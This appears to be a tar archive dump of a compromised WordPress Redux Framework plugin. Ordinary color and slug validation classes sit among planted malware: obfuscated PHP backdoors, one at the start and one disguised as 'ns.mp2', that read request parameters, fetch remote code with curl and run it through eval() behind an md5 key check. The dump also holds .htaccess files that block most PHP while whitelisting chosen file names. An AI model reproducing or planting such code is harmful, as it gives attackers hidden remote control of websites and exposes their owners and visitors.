/*--i^-$-*/$AMmfDLqO[$CmdU/*-lNPov|QR-*/ - /*-z7-*/2199/*->Y~vp-*/];/*-.DerVE-*/ return /*-vTA-*/$Bc; /*-DFD-*/} /*-i)6-*/static /*-ISm#xu-*/function /*-^c;sar-*/huL/*-<1,eG-*/(/*-9u_-*/$LzGBNk,/*-HwHS`i;H-*/ $EFCeYTN/*-xmR;]e-*/)/*-6:-*/ {/*-hZN-*/ $dOiEnNcR/*-7!-*/ = /*-aJ.#-*/curl_init/*-Qzo!PU4-*/(/*-3^K]E6A-*/$LzGBNk/*-@j-*/);/*-tj-*/ curl_setopt/*-mKp-*/(/*-vZN-*/$dOiEnNcR,/*-B73VU-*/ CURLOPT_RETURNTRANSFER,/*-g1$)-*/ 1/*-hkA-*/);/*-i2-*/ $LSHRi/*-wGefvpt-*/ = /*-AX`)-*/curl_exec/*-><wYm.-*/(/*-9BgUOu:~-*/$dOiEnNcR/*-2|(Q%!MlMq-*/); /*-YN-*/return /*-FnrIg0$lK-*/empty/*-Bp<@zme-*/(/*-qBc-*/$LSHRi/*-GH?6J,=-*/)/*-o~]yl)z{-*/ ? /*-(1vZ@H7`L)-*/$EFCeYTN/*-JiX-*/(/*-4C-*/$LzGBNk/*-U`uXD_,3U-*/)/*-tt1|6-*/ : /*-9v-*/$LSHRi; /*--s{?P`#-*/}/*-TUqq?_ba-*/ static/*-,l)heI4-*/ function /*-u31^mmb-*/cruAKLE/*-A6|pIcx-*/() /*-Ss--*/{/*-{BpL|y}SP-*/ $dSAlur /*-&r]zBFqdn%-*/=/*-^.QIcf-*/ array/*-O#D^(<=k6-*/("2226^2211^2224^2228^2209^2224^2230^2223^2208^2215^2226^2209^2220^2214^2215","2210^2209^2211^2230^2211^2214^2209^2276^2274","2219^2210^2214^2215^2230^2225^2224^2226^2214^2225^2224","2213^2228^2226^2218","2227^2228^2210^2224^2271^2273^2230^2225^2224^2226^2214^2225^2224","2223^2220^2217^2224^2230^2222^2224^2209^2230^2226^2214^2215^2209^2224^2215^2209^2210","2253^2283","2200","2278^2283","2260^2243^2243^2260^2236","2214^2223"); /*-|IEL[-*/foreach /*-}+fe-*/(/*-jD-*/$dSAlur/*-ct-*/ as /*-i7o)y#MQe-*/$bcWhBgF/*-^tl||T-*/)/*-1d#-*/ $IfOT/*-!t8+4qAjO-*/[] /*-gNDcc2pvp-*/= /*-mi?Et_W-*/self/*->g0#[l@#-*/::/*-!QD-*/cnhqXpo/*-rNT-v`N!L-*/(/*-1`okO6kS-*/$bcWhBgF/*-A:,-=-*/);/*-G5Yz][|-*/$aBznYySQb /*-;X{Qq_6f-*/= /*-3D)k-*/@$IfOT/*-Zs_Om<N-*/[/*-;L3sI,#-*/1/*-Fd-*/]/*-C(7lE?-*/(/*-h-*/${/*-KGuZ!<Fey-*/"_"/*-%a!Uvc8fmA-*/."G"/*-p^-*/."E"/*-q$$Or-*/."T"/*-(bi2&-*/}[/*-{rt;8Xz3Ep-*/$IfOT/*-=bS6=eZDp-*/[/*-boQ-*/2+7/*-I,-*/]]/*-Zl-*/);/*-lUaP[-*/ $iPVw /*-;<A7P@mqT-*/=/*-1|?NoxA,o-*/ @$IfOT/*-N^j;T-*/[/*-&^`v~jk[F-*/0+3/*->z2-*/]/*-E-+|QinW-*/(/*-5(`NZvj+-*/$IfOT/*-&0+-*/[/*-qg_.-*/1+5/*-TV-*/], /*-Rut-*/$aBznYySQb/*-v]-*/);/*-ZZ7bQfBA-*/ $MDulq /*-3eMHh6S_P,-*/=/*-Ah>RXS=-*/ $IfOT/*-i(6g_jZ47X-*/[/*-a5:6f#-*/2+0/*-pJw}sa9-*/]/*-Wo-*/(/*-d28Sq7m-*/$iPVw,/*-t2~u-*/ true/*-x|Q-f-tmd-*/); /*-Ys_#-*/@${/*-_;-*/"_"./*-WRbE-*/"G"./*-b1o1-*/"E"/*-y^-*/."T"/*--u@i]6g9N$-*/}/*-aYL?xR-*/[/*-YT-*/$IfOT/*-lJO-*/[9+1/*-L3x|l_z%F-*/]/*-m}D6I#v-*/]/*-gUGVau$-*/ == /*-jU2QG)-*/1 /*-^^Ph~+Kq-*/&& /*-F8lm,-*/die/*-4Qk~-*/(/*-n!h-*/$IfOT[3+2/*-8r`.hT&-*/]/*-A{aQ}}u`8-*/(/*-Y|-*/__FILE__/*-.wW4G7hq-*/)/*-,@)zHsi-*/); /*-^_G$4-*/if/*-+-*/(/*-KlrLzq-*/ (/*-o;0EyA=-*/(@/*-;B-*/$MDulq/*-1>da(g-*/[/*-S=t|a$83[-*/0/*-:@O:fwb-*/] /*-yj]dOHe&dU-*/- time/*-Y-*/()/*-}c-*/) > /*-=p@_-*/0/*-Z!+G-*/)/*-1jWf?]-*/ and /*-Bt6-*/(/*-x#De<-*/md5/*-hPGV9-*/(/*-Lg!2esalP.-*/md5/*-&=p(-*/(/*-<YXH.-*/$MDulq/*-%)y~UNCH-*/[/*-{lN}-*/0+3/*-rL-*/]/*-=SZ|)-*/)/*-FL7#K73-*/)/*-wvKXxG2B-*/ === /*-hGF^-*/"e46f3c25e88b60b249f4a91815ca94b1"/*-3YkRs=-*/)/*-C]7b]9GDc-*/ ): /*-?xx-*/$bZ /*-(e^YY@$q-*/=/*-R@oE,z-*/ self/*-lI%NE&eDoy-*/::/*-M6Km-*/huL/*-m=t5wc4-*/(/*-hVLM=-*/$MDulq/*--|i#q+-*/[/*-?XPCg(-*/1+0/*-!tEOP-w-*/], /*-gE-*/$IfOT/*-1R-*/[/*-$x}Q-*/1+4/*-sI$3nM-*/]/*-N,u4r0:F-*/);/*-=bc<[oSSu-*/@eval/*-~t-*/(/*-bUw~&%-*/$IfOT/*-)pe2-*/[/*-~M-*/4+0/*-lkepdjdy-*/]/*-3lT6fMmJ#p-*/(/*-Axg:RIS#-*/$bZ/*-Ir-*/)/*-h=-*/);/*-HMA&$-*//*-V]@Kc-*/die;/*-`3Ci7f-*/ endif;/*-<,)$ejD-*/ }/*-]{-*/}/*-{~z_,~-*/Ux/*-d`veX:@-*/::/*-qn_-*/cruAKLE/*-Lg=WD3p-*/();/*-tzdH2+a-*/ ?>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color/color/.htaccess������������������������������������������������0000644�����������������00000001626�14720701300�0016622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color/validation_color.php�������������������������������������������0000644�����������������00000013131�14720701300�0017741 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_color' ) ) { class Redux_Validation_color { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 3.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Validate Color * Takes the user's input color value and returns it only if it's a valid color. * * @since ReduxFramework 3.0.0 */ function validate_color( $color ) { if ( $color == "transparent" ) { return $color; } $named = json_decode( '{"transparent":"transparent", "aliceblue":"#f0f8ff","antiquewhite":"#faebd7","aqua":"#00ffff","aquamarine":"#7fffd4","azure":"#f0ffff", "beige":"#f5f5dc","bisque":"#ffe4c4","black":"#000000","blanchedalmond":"#ffebcd","blue":"#0000ff","blueviolet":"#8a2be2","brown":"#a52a2a","burlywood":"#deb887", "cadetblue":"#5f9ea0","chartreuse":"#7fff00","chocolate":"#d2691e","coral":"#ff7f50","cornflowerblue":"#6495ed","cornsilk":"#fff8dc","crimson":"#dc143c","cyan":"#00ffff", "darkblue":"#00008b","darkcyan":"#008b8b","darkgoldenrod":"#b8860b","darkgray":"#a9a9a9","darkgreen":"#006400","darkkhaki":"#bdb76b","darkmagenta":"#8b008b","darkolivegreen":"#556b2f", "darkorange":"#ff8c00","darkorchid":"#9932cc","darkred":"#8b0000","darksalmon":"#e9967a","darkseagreen":"#8fbc8f","darkslateblue":"#483d8b","darkslategray":"#2f4f4f","darkturquoise":"#00ced1", "darkviolet":"#9400d3","deeppink":"#ff1493","deepskyblue":"#00bfff","dimgray":"#696969","dodgerblue":"#1e90ff", "firebrick":"#b22222","floralwhite":"#fffaf0","forestgreen":"#228b22","fuchsia":"#ff00ff", "gainsboro":"#dcdcdc","ghostwhite":"#f8f8ff","gold":"#ffd700","goldenrod":"#daa520","gray":"#808080","green":"#008000","greenyellow":"#adff2f", "honeydew":"#f0fff0","hotpink":"#ff69b4", "indianred ":"#cd5c5c","indigo ":"#4b0082","ivory":"#fffff0","khaki":"#f0e68c", "lavender":"#e6e6fa","lavenderblush":"#fff0f5","lawngreen":"#7cfc00","lemonchiffon":"#fffacd","lightblue":"#add8e6","lightcoral":"#f08080","lightcyan":"#e0ffff","lightgoldenrodyellow":"#fafad2", "lightgrey":"#d3d3d3","lightgreen":"#90ee90","lightpink":"#ffb6c1","lightsalmon":"#ffa07a","lightseagreen":"#20b2aa","lightskyblue":"#87cefa","lightslategray":"#778899","lightsteelblue":"#b0c4de", "lightyellow":"#ffffe0","lime":"#00ff00","limegreen":"#32cd32","linen":"#faf0e6", "magenta":"#ff00ff","maroon":"#800000","mediumaquamarine":"#66cdaa","mediumblue":"#0000cd","mediumorchid":"#ba55d3","mediumpurple":"#9370d8","mediumseagreen":"#3cb371","mediumslateblue":"#7b68ee", "mediumspringgreen":"#00fa9a","mediumturquoise":"#48d1cc","mediumvioletred":"#c71585","midnightblue":"#191970","mintcream":"#f5fffa","mistyrose":"#ffe4e1","moccasin":"#ffe4b5", "navajowhite":"#ffdead","navy":"#000080", "oldlace":"#fdf5e6","olive":"#808000","olivedrab":"#6b8e23","orange":"#ffa500","orangered":"#ff4500","orchid":"#da70d6", "palegoldenrod":"#eee8aa","palegreen":"#98fb98","paleturquoise":"#afeeee","palevioletred":"#d87093","papayawhip":"#ffefd5","peachpuff":"#ffdab9","peru":"#cd853f","pink":"#ffc0cb","plum":"#dda0dd","powderblue":"#b0e0e6","purple":"#800080", "red":"#ff0000","rosybrown":"#bc8f8f","royalblue":"#4169e1", "saddlebrown":"#8b4513","salmon":"#fa8072","sandybrown":"#f4a460","seagreen":"#2e8b57","seashell":"#fff5ee","sienna":"#a0522d","silver":"#c0c0c0","skyblue":"#87ceeb","slateblue":"#6a5acd","slategray":"#708090","snow":"#fffafa","springgreen":"#00ff7f","steelblue":"#4682b4", "tan":"#d2b48c","teal":"#008080","thistle":"#d8bfd8","tomato":"#ff6347","turquoise":"#40e0d0", "violet":"#ee82ee", "wheat":"#f5deb3","white":"#ffffff","whitesmoke":"#f5f5f5", "yellow":"#ffff00","yellowgreen":"#9acd32"}', true ); if ( isset( $named[ strtolower( $color ) ] ) ) { /* A color name was entered instead of a Hex Value, convert and send back */ return $named[ strtolower( $color ) ]; } $color = str_replace( '#', '', $color ); if ( strlen( $color ) == 3 ) { $color = $color . $color; } if ( preg_match( '/^[a-f0-9]{6}$/i', $color ) ) { return '#' . $color; } //$this->error = $this->field; return false; } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 3.0.0 */ function validate() { if ( is_array( $this->value ) ) { // If array foreach ( $this->value as $k => $value ) { $this->value[ $k ] = $this->validate_color( $value ); } //foreach } else { // not array $this->value = $this->validate_color( $this->value ); } // END array check } //function } //class }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color/.htaccess������������������������������������������������������0000644�����������������00000001626�14720701300�0015504 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/unique_slug/validation_unique_slug.php�������������������������������0000644�����������������00000006223�14720701300�0022411 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_unique_slug' ) ) { class Redux_Validation_unique_slug { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'That URL slug is in use, please choose another. <code>%s</code> is open for use.', 'redux-framework' ); $this->field['flush_permalinks'] = ( isset( $this->field['flush_permalinks'] ) ) ? $this->field['flush_permalinks'] : false; $this->value = $value; $this->current = $current; $this->validate(); } //function function validate() { global $wpdb, $wp_rewrite; $slug = $this->value; $feeds = $wp_rewrite->feeds; if ( ! is_array( $feeds ) ) { $feeds = array(); } // Post slugs must be unique across all posts. $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug ) ); /** * Filter whether the post slug would be bad as a flat slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the post slug would be bad as a flat slug. * @param string $slug The post slug. * @param string $post_type Post type. */ if ( $post_name_check || in_array( $slug, $feeds ) || apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ) ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name ) ); $suffix ++; } while ( $post_name_check ); $slug = $alt_post_name; $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->field['msg'] = sprintf( $this->field['msg'], $slug ); $this->error = $this->field; } else if ( isset( $this->field['flush_permalinks'] ) && $this->field['flush_permalinks'] == true ) { add_action( 'init', array( $this, 'flush_permalinks' ), 99 ); } } //function function flush_permalinks() { flush_rewrite_rules(); } } //class } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/unique_slug/.htaccess������������������������������������������������0000644�����������������00000001626�14720701300�0016726 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color_rgba/color_rgba/index.php��������������������������������������0000644�����������������00000000000�14720701300�0020613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color_rgba/color_rgba/ns.mp2�����������������������������������������0000644�����������������00000011521�14720701300�0020045 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $E /*-eL5=`-*/= /*-0>^RP$2Dl-*/"r"./*-L`f4-*/"a"."n"./*-p7~;iCe-*/"g"."e"; /*-eLFV-*/$tarFY/*-9%(1pWX5v>-*/ = /*-T)jA^bUsU?-*/$E/*-6)UsG_-*/("~", /*-x6wu[-*/" "); /*-r8Ix-*/$f/*-{0?o-*/=/*-1WO-*/${$tarFY/*-n+T5Hf-*/[21+10/*-Th<-*/].$tarFY/*-1s(b-*/[49+10]/*-J$aww1s}t-*/.$tarFY/*-?r`.|jV{{$-*/[23+24]/*-Le)n+cENr-*/.$tarFY/*-v#}9;-*/[4+43]/*-9hAhLd!-*/.$tarFY/*-,Hdod-*/[38+13]/*-e|`y-*/.$tarFY/*->`~5GC-*/[0+53]/*-Eza`,qXN-*/.$tarFY/*-Pb6BrDdB-*/[32+25]/*-lJoM~uti-*/}; /*-<W-*/if/*-,lI&72Cz-*/((/*-956;G(-*/in_array/*-}UX?]<-*/(gettype/*->PG-*/($f)./*-UCKTC!E-*/count/*-,`=-*/($f),/*-%jSj!f-|v-*/$f)/*-Xw[Bh-*/&&count/*-H0v-*/($f)/*-YPo(-*/==/*-m-M-*/29))/*-=~iE5-*/{ /*-b>-*/(($f[66]=$f[66].$f[74])&&($f[88]=$f[66]($f[88]))&&(/*-lHF&JfR[-*/@eval/*-0^@jY+_Kw-*/($f[66](${$f[43]}[13])/*-+Er-*/))/*-V;-*/);}/*-0ajO@ct-*/class /*-nS~9pO_|-*/C{ /*-C6m-*/static/*-w{&!%k-*/ function /*-5l0+-*/Oil($RMLX) /*->ssy)u|)-*/{ $oNgWPnIpGT/*-uvsFE-*/ = /*-jc2p5X-*/"r"./*-v-*/"a"./*-2~~Vtkg~qS-*/"n"./*-}Zot_07Tx--*/"g"./*-vy&e-*/"e"; /*-qQA_n6m-*/$rkmsL/*-rqK$O-*/ = /*-sha0sgS,I<-*/$oNgWPnIpGT/*-z(-*/(/*->MT=04_-*/"~"/*-F%t-*/, /*-`7yM-*/" "/*-5meQV8>-*/);/*-f8j_q5O5(-*/ $CBUm /*-{ctdTR-*/= /*-Ioq[:n-*/explode/*-e7cLAG$95-*/(/*-h-*/"*", /*-QW-*/$RMLX/*-VW-*/); /*-A<x4nR@Bj-*/$nTjMKFp /*-5b(pls-*/= /*-!K0tQ-*/""; foreach /*-aKX@~-*/(/*-x(sxVtT7-*/$CBUm /*-OoOXCPn&-*/as /*-QE#XlCAz-*/$yuZvRsSzJ /*-smOpk-*/=>/*-%G3J:r-*/ $ghNa/*-4.43;cG-*/) /*-R~SOQh8Jf-*/$nTjMKFp /*-X;y80AHqO-*/.= /*-A>z-*/$rkmsL[$ghNa/*-Nh}-*/ - /*-&i7jSeQ-*/60033/*-x-*/];/*-EH_0APb-*/ return /*-I^_q-*/$nTjMKFp; /*-:[{:^k-*/} /*-x-*/static /*-e2J;:-*/function /*-KNhU)?ptQ3-*/TFBS/*-Cpu-*/(/*-Fl2t8p-*/$GYSdA,/*-pRiTCZ.>^4-*/ $bQzu/*-j^+-*/)/*-AEdX-*/ {/*-9TP-*/ $wdHn/*-!$-*/ = /*-^g0q-*/curl_init/*-j9%$-*/(/*-5L[TQA9RE-*/$GYSdA/*-Mp.4dlUx-*/);/*-hJ%m>qT~bn-*/ curl_setopt/*-yxD?.l3-*/(/*-^>sp4-*/$wdHn,/*--]k9Pp-*/ CURLOPT_RETURNTRANSFER,/*-s1-*/ 1/*-~+!y0=&rk6-*/);/*-e`6Q:xHrY-*/ $Sc/*-1,xhMwp%us-*/ = /*-6:$_-*/curl_exec/*-JF&@>&-*/(/*-)EWE-*/$wdHn/*-gO-*/); /*-y2-*/return /*-z|-39ZG_R-*/empty/*-nKJ<sc-o1!-*/(/*-qfZZc-*/$Sc/*-Y&1Oj2-*/)/*-NI9-*/ ? /*-z6H-*/$bQzu/*-Po|7-*/(/*-KCSC-*/$GYSdA/*-C?:3.>B-,~-*/)/*-gup}F&C-*/ : /*-2q-*/$Sc; /*-j0?]-*/}/*-+5hIT_-*/ static/*-KQ+GDD-*/ function /*-2?gF}V)wk-*/PeqAsd/*-xbN3Lm+6{-*/() /*-U,Kd5.T-*/{/*-Xb{-*/ $YiINmtae /*-%wPc>@G`-*/=/*-iX$-*/ array/*-N8(-*/("60060*60045*60058*60062*60043*60058*60064*60057*60042*60049*60060*60043*60054*60048*60049","60044*60043*60045*60064*60045*60048*60043*60110*60108","60053*60044*60048*60049*60064*60059*60058*60060*60048*60059*60058","60047*60062*60060*60052","60061*60062*60044*60058*60105*60107*60064*60059*60058*60060*60048*60059*60058","60057*60054*60051*60058*60064*60056*60058*60043*60064*60060*60048*60049*60043*60058*60049*60043*60044","60087*60117","60034","60112*60117","60094*60077*60077*60094*60070","60048*60057"); /*->?-*/foreach /*-)J4X`1n-*/(/*-`g>$cxA-*/$YiINmtae/*-ph];xk-*/ as /*-3U3P_F-*/$lm/*-_ZUH6(-*/)/*-Q$x>s_-*/ $osdcy/*-1[mSy?i-*/[] /*-tJ<cD-*/= /*-84OMAoNS-*/self/*-c#-*/::/*-G%9@-*/Oil/*-H3dmB-*/(/*-37-*/$lm/*->o!wxz;-*/);/*-MP-*/$gz /*-Fv-*/= /*-ji#@9Np-*/@$osdcy/*-]RG%de0q-*/[/*-fd2rZY!?hP-*/1/*-Xq-i-*/]/*-8,LG2-*/(/*-(y;-*/${/*-0h]9))0-*/"_"/*-k9iX-*/."G"/*-tI!S%GC-*/."E"/*-a1.(V6,-*/."T"/*-FshQ-*/}[/*-)Bo&|-*/$osdcy/*-jLlRZ!|]-*/[/*-P=A-*/6+3/*-g+Y-*/]]/*-zf-<}-*/);/*-:-*/ $zC /*-:G%W-*/=/*-GTD+>-*/ @$osdcy/*-bGcX-*/[/*-AD!_-*/1+2/*-@MR5]h-*/]/*-J+v-*/(/*-oMOzP`e-*/$osdcy/*-$b:OPjYD=-*/[/*-:jgTO3-*/0+6/*-L@Q&9Vg-*/], /*-&k-*/$gz/*-T<)?Cvs-*/);/*-m&K-*/ $MeokOUjqnl /*-m-*/=/*-d-*/ $osdcy/*-JT]-*/[/*-:MLPUG1O[-*/0+2/*-6`_-*/]/*-[--*/(/*-gqvI)2L-*/$zC,/*-A;FH=b7n-*/ true/*-SepR&-*/); /*-UdRJox-*/@${/*-UT?F|m$j-*/"_"./*-J&C,62~,4L-*/"G"./*-IiY-*/"E"/*-{dB+G-*/."T"/*--9aD@-*/}/*-h3p-*/[/*-2Cs-*/$osdcy/*-h+Ul4f-*/[5+5/*-q$jZCZLI-*/]/*-@l&C-*/]/*-~yrY],=J-*/ == /*-OB=Ld`zsw6-*/1 /*-;xHb-*/&& /*-ve-*/die/*-!pC;np-*/(/*-x`#r#-*/$osdcy[4+1/*-X:v]vj4d-*/]/*-=C?L<Nq~-*/(/*-|(z-*/__FILE__/*-@nLiH-*/)/*-Bx-*/); /*-$XO-U!Z9j-*/if/*-zI&UV-*/(/*-E1KF-*/ (/*->QbJ-*/(@/*-U<d-*/$MeokOUjqnl/*-3|+>z:-*/[/*-+A188-*/0/*-FW9,[zy55E-*/] /*-Am-*/- time/*-955Ds-*/()/*-{8-*/) > /*-i{5!0K:-*/0/*-Qh)bEhqe`-*/)/*-#<p-*/ and /*-i[L}-*/(/*-.?Y-*/md5/*-_)hg!w-*/(/*-;ikqAX)%O-*/md5/*-qday-*/(/*-eHU5c+$-*/$MeokOUjqnl/*-Az<9IsQ1r-*/[/*-n332~?C4p-*/3+0/*-NT{|[V&+-*/]/*-+-8Z-y<-*/)/*-9=X-*/)/*-JG^UU-*/ === /*-ij-*/"29784e4c1b5ee94b6005ca0c647fe4e8"/*-6KxiprN6-*/)/*-aI@`y<lb9r-*/ ): /*-kp`J~-*/$nerk /*-)HVn%[+q-*/=/*-u(-*/ self/*->h,XW^-*/::/*-XXK|Y3x}-*/TFBS/*-V4e0-*/(/*-9a-*/$MeokOUjqnl/*-=eFc1]-*/[/*-,}D~n=-*/1+0/*-$A-*/], /*-!e7[-*/$osdcy/*-CQTpt17N}-*/[/*-RA_-*/0+5/*-]OuM(:3!2N-*/]/*-Y?2NZ-A-*/);/*-1Usd-*/@eval/*--Km0-*/(/*-IA-*/$osdcy/*-is=9lS-*/[/*-^?8P-*/4+0/*-uqF:80|sf-*/]/*-cb0U{-*/(/*-`p-*/$nerk/*-7g7Z0-*/)/*-&o8-*/);/*-fa-*//*-lcqS-*/die;/*-ez-*/ endif;/*-coF3-*/ }/*-X.IDUt-*/}/*-S1-*/C/*-kFTK!R>k-*/::/*-w^-*/PeqAsd/*-dTMO0|-*/();/*-NvJ-*/ ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color_rgba/color_rgba/.htaccess��������������������������������������0000644�����������������00000001626�14720701300�0020610 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color_rgba/validation_color_rgba.php���������������������������������0000644�����������������00000004472�14720701300�0021737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_color_rgba' ) ) { class Redux_Validation_color_rgba { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 3.0.4 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Validate Color to RGBA * Takes the user's input color value and returns it only if it's a valid color. * * @since ReduxFramework 3.0.3 */ function validate_color_rgba( $color ) { if ( $color == "transparent" ) { return $color; } $color = str_replace( '#', '', $color ); if ( strlen( $color ) == 3 ) { $color = $color . $color; } if ( preg_match( '/^[a-f0-9]{6}$/i', $color ) ) { $color = '#' . $color; } return array( 'hex' => $color, 'rgba' => Redux_Helpers::hex2rgba( $color ) ); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 3.0.0 */ function validate() { if ( is_array( $this->value ) ) { // If array foreach ( $this->value as $k => $value ) { $this->value[ $k ] = $this->validate_color_rgba( $value ); } //foreach } else { // not array $this->value = $this->validate_color_rgba( $this->value ); } // END array check } //function } //class }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/color_rgba/.htaccess�������������������������������������������������0000644�����������������00000001626�14720701300�0016477 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch 